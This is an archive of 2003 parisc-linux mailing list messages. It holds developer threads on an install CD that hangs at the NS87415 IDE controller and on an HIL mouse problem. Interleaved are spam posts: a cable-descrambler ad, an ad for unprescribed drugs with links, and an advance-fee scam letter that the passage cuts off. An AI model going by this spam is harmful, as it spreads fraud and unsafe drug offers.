Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20118

Grant,

Grant Grundler wrote:
> On Fri, Nov 14, 2003 at 06:41:25PM +0100, Damian Muchli?ski wrote:
> 
>>I've found on newsgroup that because of old
>>version of gcc and kernel and I should use newer version. So I have
>>downloaded palinux-2.4.22-pa13-20031022-netinst.iso from your
>>website,check md5, burned and booted.
>>Unfortunately it hangs on "searching for devices" without any more info.
> 
> 
> Damian,
> I'm surprised the 2.4.22 netinst.iso doesn't boot on your c3700.
> I'm currently running 2.4.22-pa14 on a C3600 with STIFB console.
> 
Not me, it is the same pb on my b2k:
(see logs in the src thread)
"[...]
NS87415: IDE controller on PCI bus 00 dev 70
NS87415: chipset revision 3
NS87415: 100% native mode on irq 103
     ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:pio, hdb:pio
     ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:pio, hdd:pio
hda: HL-DT-ST GCE-8481B, ATAPI CD/DVD-ROM drive
ide0 at 0xf00-0xf07,0xe02 on
hda: ATAPI 40X CD-ROM CD-R/RW drive, 2048kB Cache
[...]"

The question is: is it enough to unplug the ide cable of this ide cdrom 
to make it works?

btw can you have a look in your dmesg to see if you also encounter 
NS87415's messages?

> The output you posted started with 2.4.17 boot and then garbled
> at the end. I don't understand how HPMC dump messages and what looks
> like PDC output (eg "To discontinue search,...") got mixed up.
> 
> If you can netboot a 2.4.22 kernel image from:
> 	ftp://ftp.parisc-linux.org/kernels/c3000/
> 
> and point the "root=" at the CDROM install disk, I would expect
> it to complete the install....but that's non-trivial to setup
> and it's alot to ask for. If you don't have time or it's too
> complicated, don't worry about it.
> 
> I'll try to netboot the netinst.iso that you used at home on a C3000
> and see what happens.
> 
Sorry, I reported this pb a long time ago but between too much test 
about too many things, i miss to trace back this pb (more over iirc 
Matthew mentioned that this Suckio controler could be bugy?).

hth,
	Joel



From - Thu Nov 08 21:29:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bridgett Livingston" <p42fll@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STOP-PAYING For Your PAY-PER-VIEW, Movie Channels, Mature Channels...Mohammed
Date: Sun, 16 Nov 2003 21:10:05 -0100
Lines: 57
Approved: news@gmane.org
Message-ID: <o0-1j7sz3k0$851an@jn4ej>
Reply-To: "Bridgett Livingston" <p42fll@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="2BEE0804C.D858.C6AE"
X-Trace: ger.gmane.org 1416622967 1610 80.91.229.3 (22 Nov 2014 02:22:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:47 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 16 15:10:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 707B64841
	for <parisc-linux@parisc-linux.org>; Sun, 16 Nov 2003 15:10:17 -0700 (MST)
Original-Received: from cpe-24-92-119-64.elp.rr.com (cpe-24-92-119-64.elp.rr.com [24.92.119.64])
	by cuprel1.hp.com (Postfix) with SMTP id CD6A9D71
	for <parisc-linux@parisc-linux.org>; Sun, 16 Nov 2003 14:10:10 -0800 (PST)
Original-Received: from [87.219.224.21]
	by cpe-24-92-119-64.elp.rr.com with SMTP
	for <parisc-linux@parisc-linux.org>; Sun, 16 Nov 2003 21:10:05 -0100
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20119

--2BEE0804C.D858.C6AE
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Cable TV Subscribers

Get Our Cable TV Filter and Stop-Paying For Your Pay-Per-View, Mature Chan=
nels, Movie Channels, Sporting Events...


Find Out More - http://200.164.144.190/test/red/index.php?id=3Dnedford


Don't worry, it's perfectly-legal.


Check out our legal page  - http://200.164.144.190/test/red/legal/index.ph=
p







No more advertisments -  http://200.164.144.190/test/movere/
























fne cxapb
yxwq r rp
y b

--2BEE0804C.D858.C6AE--



From - Thu Nov 08 21:29:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP
Date: Sun, 16 Nov 2003 17:34:16 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20031117003416.GA18066@colo.lackof.org>
References: <002901c3aad6$87fb1c10$64d71399@Damian> <20031116013854.GA3735@colo.lackof.org> <3FB7B032.8050505@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622968 1611 80.91.229.3 (22 Nov 2014 02:22:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:48 +0000 (UTC)
Cc: Damian Muchli?ski <mudamian@poczta.onet.pl>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 16 17:34:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8FC14841
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Nov 2003 17:34:17 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 3BB2C29802E; Sun, 16 Nov 2003 17:34:17 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 17786-09; Sun, 16 Nov 2003 17:34:16 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7499129800B; Sun, 16 Nov 2003 17:34:16 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FB7B032.8050505@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20120

On Sun, Nov 16, 2003 at 05:13:22PM +0000, Joel Soete wrote:
> Not me, it is the same pb on my b2k:
> (see logs in the src thread)
> "[...]
> NS87415: IDE controller on PCI bus 00 dev 70
> NS87415: chipset revision 3
> NS87415: 100% native mode on irq 103
>     ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:pio, hdb:pio
>     ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:pio, hdd:pio
> hda: HL-DT-ST GCE-8481B, ATAPI CD/DVD-ROM drive
> ide0 at 0xf00-0xf07,0xe02 on
> hda: ATAPI 40X CD-ROM CD-R/RW drive, 2048kB Cache
> [...]"
> 
> The question is: is it enough to unplug the ide cable of this ide cdrom 
> to make it works?

It might if the IDE is causing problems.
is NS87415 code causing problems?

> btw can you have a look in your dmesg to see if you also encounter 
> NS87415's messages?

NS87415 is the IDE controller on the c3xxx motherboard.
Disconnecting the cable will only make the CD-ROM drive inaccessible.
Suckyio provides NS87415-like functionality and is quite buggy.

grant


From - Thu Nov 08 21:29:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Shane G. Brodie" <sgbrodie@mts.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HIL Mouse problem
Date: Sun, 16 Nov 2003 23:34:27 -0600
Lines: 150
Approved: news@gmane.org
Message-ID: <LPENLKGPOOFMNIPKLBNDGEFGCAAA.sgbrodie@mts.net>
Reply-To: <sgbrodie@mts.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0000_01C3AC9A.2D0FFF30"
X-Trace: ger.gmane.org 1416622968 1615 80.91.229.3 (22 Nov 2014 02:22:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:48 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 16 22:31:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.mts.net (smtp1.mts.net [205.200.16.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 28CA64840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Nov 2003 22:31:56 -0700 (MST)
Original-Received: from herrerasaurus (wnpgmb11dc1-167-132.dynamic.mts.net [142.161.167.132])
	by smtp1.mts.net (8.12.8-20030918/8.11.3) with SMTP id hAH5Vr4X011748
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Nov 2003 23:31:54 -0600 (CST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20121

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01C3AC9A.2D0FFF30
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Okay ... I've given up trying to get networking working for the time being.
I satisfied myself with getting x installed and running, recompiling the
kernel several times.  But, I cannot get the HIL mouse to work at all.

I have followed the instructions in the HOWTO: Using HIL keyboard and HIL
mouse on PARISC to the letter, to no avail.

Machine details:

715/80, 64MB RAM, single 2GB SCSI HD
    EISA 10/100 VG Card in EISA slot
    Boot messages find HIL and PS/2 ports (devices attached)
    HIL mouse works fine under HP-UX 10.01
    HIL keyboard has always worked.

Linux details:

Debian 3.0 r1 Woody
Kernel - 2.4.22-pa17.

I'd gladly provide the dmesg output, but without working network interface,
and no floppy support ...

Any ideas ... I finished going through 1.3 million lines of the mail-list
archive,  before my Windows text editor blew a gasket and GPF'd, without
coming up with anything conclusive.

Noted gpm.conf lines are required in the HOWTO, but the Woody release
doesn't load gpm by default.  I checked on my system and noted that gpm was
not installed.  So, after failing to get the mouse working after following
the HOWTO, I installed gpm to see if that made a difference ... no joy there
either.

Any ideas would be greatly appreciated.

Regards

Shane Brodie

------=_NextPart_000_0000_01C3AC9A.2D0FFF30
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1276" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial size=3D2>Okay =
... I've given=20
up trying to get networking working for the time being.&nbsp; I =
satisfied myself=20
with getting x installed and running, recompiling the kernel several=20
times.&nbsp; But, I cannot get the HIL mouse to work at =
all.</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial size=3D2>I have =
followed the=20
instructions in the HOWTO: Using HIL keyboard and HIL mouse on PARISC to =
the=20
letter, to no avail.</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial =
size=3D2>Machine=20
details:</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial =
size=3D2>715/80, 64MB RAM,=20
single 2GB SCSI HD</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003>&nbsp;&nbsp;&nbsp; <FONT =
face=3DArial=20
size=3D2>EISA 10/100 VG Card in EISA slot</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003>&nbsp;&nbsp;&nbsp; <FONT =
face=3DArial=20
size=3D2>Boot messages find HIL and PS/2 ports (devices=20
attached)&nbsp;</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003>&nbsp;&nbsp;&nbsp; <FONT =
face=3DArial=20
size=3D2>HIL mouse works fine under HP-UX 10.01</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003>&nbsp;&nbsp;&nbsp; <FONT =
face=3DArial=20
size=3D2>HIL keyboard has always worked.</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial size=3D2>Linux=20
details:</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial size=3D2>Debian =
3.0 r1=20
Woody</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial size=3D2>Kernel =
-=20
2.4.22-pa17.</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial size=3D2>I'd =
gladly provide=20
the dmesg output, but without working network interface, and no floppy =
support=20
...</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial size=3D2>Any =
ideas ... I=20
finished going through 1.3 million lines of the mail-list archive, =
&nbsp;before=20
my Windows text editor blew a gasket and GPF'd, without coming up with =
anything=20
conclusive.</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial size=3D2>Noted =
gpm.conf lines=20
are required in the HOWTO, but the Woody release doesn't load gpm by=20
default.&nbsp; I checked on my system and noted that gpm was not=20
installed.&nbsp; So, after failing to get the mouse working after =
following the=20
HOWTO, I installed gpm to see if that made a difference ... no joy there =

either.</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial size=3D2>Any =
ideas would be=20
greatly appreciated.</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial=20
size=3D2>Regards</FONT></SPAN></DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D586182005-17112003><FONT face=3DArial size=3D2>Shane=20
Brodie</FONT></SPAN></DIV></BODY></HTML>

------=_NextPart_000_0000_01C3AC9A.2D0FFF30--



From - Thu Nov 08 21:29:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP
Date: Mon, 17 Nov 2003 08:36:06 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <3FB265EC00002387@ocpmta3.freegates.net>
References: <20031117003416.GA18066@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622968 1619 80.91.229.3 (22 Nov 2014 02:22:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:48 +0000 (UTC)
Cc: "Damian Muchli?ski" <mudamian@poczta.onet.pl>,
	parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 17 00:36:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27D234840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Nov 2003 00:36:12 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1ALdvb-0000YV-00; Mon, 17 Nov 2003 08:36:07 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 17 Nov 2003 08:36:06 +0100
In-Reply-To: <20031117003416.GA18066@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20122

Hi Grant,

>>-- Original Message --
>>Date: Sun, 16 Nov 2003 17:34:16 -0700
>>From: Grant Grundler <grundler@parisc-linux.org>
>>To: Joel Soete <soete.joel@tiscali.be>
>>Cc: Damian Muchli?ski <mudamian@poczta.onet.pl>,
>>	parisc-linux@lists.parisc-linux.org
>>Subject: Re: [parisc-linux] Linux on HP
>>
>>
>>On Sun, Nov 16, 2003 at 05:13:22PM +0000, Joel Soete wrote:
>> Not me, it is the same pb on my b2k:
>> (see logs in the src thread)
>> "[...]
>> NS87415: IDE controller on PCI bus 00 dev 70
>> NS87415: chipset revision 3
>> NS87415: 100% native mode on irq 103
>>     ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:pio, hdb:pio
>>     ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:pio, hdd:pio
>> hda: HL-DT-ST GCE-8481B, ATAPI CD/DVD-ROM drive
>> ide0 at 0xf00-0xf07,0xe02 on
>> hda: ATAPI 40X CD-ROM CD-R/RW drive, 2048kB Cache
>> [...]"
>> 
>> The question is: is it enough to unplug the ide cable of this ide cdrom

>> to make it works?
>
>It might if the IDE is causing problems.
>is NS87415 code causing problems?
>
>> btw can you have a look in
>>your dmesg to see if you also encounter 
>> NS87415's messages?
>
>NS87415 is the IDE controller on the c3xxx motherboard.
>Disconnecting the cable will only make the CD-ROM drive inaccessible.
>Suckyio provides NS87415-like functionality and is quite buggy.

So according to your test, it is well the access to ide cd-rom which cause
the hang of the boot.

Thanks,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Roseann Looney" <d67hniy@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Rx - V.I.C.O.D.I.N---Val.ium, Xan.ax, Via.gra...jason
Date: Mon, 17 Nov 2003 03:04:45 -0700
Lines: 111
Approved: news@gmane.org
Message-ID: <26lr-926r2c78s08-hyl3g9--0-l3@7j9m.81da6h>
Reply-To: "Roseann Looney" <d67hniy@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="48F4FB0F5C.5.CA9_F46D1CB"
X-Trace: ger.gmane.org 1416622969 1627 80.91.229.3 (22 Nov 2014 02:22:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 17 03:04:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 12-228-106-98.client.attbi.com (12-228-106-98.client.attbi.com [12.228.106.98])
	by dsl2.external.hp.com (Postfix) with SMTP id A12D64840
	for <parisc-linux@parisc-linux.org>; Mon, 17 Nov 2003 03:04:45 -0700 (MST)
Original-Received: from [133.57.169.229] by 12-228-106-98.client.attbi.com with ESMTP id <154441-01297>; Mon, 17 Nov 2003 03:04:45 -0700
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20123

--48F4FB0F5C.5.CA9_F46D1CB
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

V-I-C-O-D-I-N Is Here


www.betterthis.biz/l/113/index.htm


V-I-C-O-D-I-N


V-a-l-i-u-m

X-a-n-a-x

S-o-m-a

V-i-a-g-r-a


www.betterthis.biz/l/113/index.htm


darvon---ambien---stilnox---ultram---alprazolam

clonazepam---ativan---tramadol---xenical---diazepam

celebrex---prozac---buspar---vioxx---zyprexa---zoloft



www.betterthis.biz/l/113/index.htm








No more ads: www.betterthis.biz/optout.html






























































p s osmcc tjggljoeglprqa 
wd

--48F4FB0F5C.5.CA9_F46D1CB--



From - Thu Nov 08 21:29:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: TONY ISHIA <tonyishia@netscape.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] URGENT
Date: Mon, 17 Nov 2003 23:22:03 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <20031117222216.F18264840@dsl2.external.hp.com>
Reply-To: tonyishia@netscape.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="bc45ed58-f7c2-4d62-888c-aed5062098ef"
X-Trace: ger.gmane.org 1416622969 1636 80.91.229.3 (22 Nov 2014 02:22:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 17 15:26:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from netscape799.com (node-c-0b91.a2000.nl [62.194.11.145])
	by dsl2.external.hp.com (Postfix) with SMTP id F18264840
	for <parisc-linux@parisc-linux.org>; Mon, 17 Nov 2003 15:22:16 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20124

This is a multi-part message in MIME format
--bc45ed58-f7c2-4d62-888c-aed5062098ef
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

  
 
  
     
   
 
  
 
 
 
   
 
Dear Sir,
Good day, my name is  MR. ISHIA TONY the first son of the late sport
minister,
who died in a plane crash early last year. Sir I know my name and letter
will be a surprise
First I  introduce myself as the first son of the late sports minister in
Nigeria,
a student of Lagos State University.The name of my mother is Mrs.ROSELINE
ISHIA
we got your contact after fasting for 21 days concerning this transaction.I
will not hide
myself from you concerning my family welfare base on my pastors conformation
on you as
very reliable and competent. Listen to me, my father died on plan crash long
ago but before
this sad event my late father made an upfront preserve future for us but it
is unfortunat
he died  just like that.
Sir, my Mother brought out document our father used to  deposit money in
a Security  Company in Europe.Infact in the document we find out thatmy
late father have succeessfully lodged in US$15 Million (Fifteen Million
